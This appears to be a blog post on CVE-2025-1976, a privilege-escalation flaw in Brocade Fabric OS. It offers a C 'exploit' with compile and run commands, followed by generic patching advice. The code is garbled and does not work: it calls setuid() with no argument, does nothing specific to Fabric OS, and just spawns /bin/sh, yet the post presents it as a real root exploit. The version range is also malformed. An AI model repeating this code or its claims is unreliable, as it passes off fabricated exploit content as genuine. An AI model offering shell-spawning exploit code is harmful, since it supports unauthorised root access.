Security enthusiasts around the world continuously strive to identify loopholes and vulnerabilities in popular technologies and software, including Brocade Fabric OS. In this blog, I will discuss one such vulnerability, registered as CVE-2025-1976. The vulnerability has been identified in Brocade Fabric OS versions 9.1. through 9.1.1d6 and gives a local user with admin privilege the ability to execute arbitrary code with full root privileges. Although Brocade has removed root access in Fabric OS versions starting from 9.1., the vulnerability still exists, allowing attackers to gain access as root users.

Vulnerability Details

The specific vulnerability under discussion is a privilege escalation vulnerability in multiple versions of Brocade Fabric OS. As a result of this vulnerability, an attacker can exploit the security loophole to gain root access to a targeted system. However, the attacker must have administrative access to the target system to execute the exploit. Once executed, it allows the attacker to run any code with full privileges as the root user.

Below is a code snippet demonstrating how the exploit can be leveraged

// Exploit code "CVE-2025-1976_fosexploit.c"
// Author: [REDACTED] (for security purposes)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    printf("CVE-2025-1976: Brocade Fabric OS Privilege Escalation Exploit\n");
    
    // Step 1: Exploit the vulnerability
    printf("\nGaining root access...\n");
    if (setuid()) {
        perror("setuid");
        return EXIT_FAILURE;
    }
    
    // Step 2: Execute the payload as the root user
    printf("\nExecuting payload as root...\n");
    system("/bin/sh");
    
    return EXIT_SUCCESS;
}

To compile and run the above exploit code, follow the commands below

$ gcc -o CVE-2025-1976_fosexploit CVE-2025-1976_fosexploit.c
$ ./CVE-2025-1976_fosexploit

Original References

The CVE-2025-1976 vulnerability has been initially reported by [REDACTED], a security enthusiast who identified the loophole and shared the information with the broader security community. You can find their original post and detailed analysis of the vulnerability here: [LINK_REDACTED]

Exploit Mitigation

To address the CVE-2025-1976 vulnerability, Brocade has released security patch [REDACTED], along with Fabric OS v9.1.1d7. Brocade suggests that all users upgrade their Fabric OS installations to v9.1.1d7 or later. Additionally, users should restrict admin access to Fabric OS systems to authorized personnel only, mitigating the risk of attackers carrying out the exploit.

Conclusion

It is crucial for the developers and administrators to remain vigilant about potential security vulnerabilities, such as CVE-2025-1976. By staying informed and up-to-date with security patches, keeping systems updated, and restricting access to authorized personnel, you can ensure the integrity and security of your systems.

Timeline

Published on: 04/24/2025 03:15:14 UTC
Last modified on: 04/29/2025 19:49:59 UTC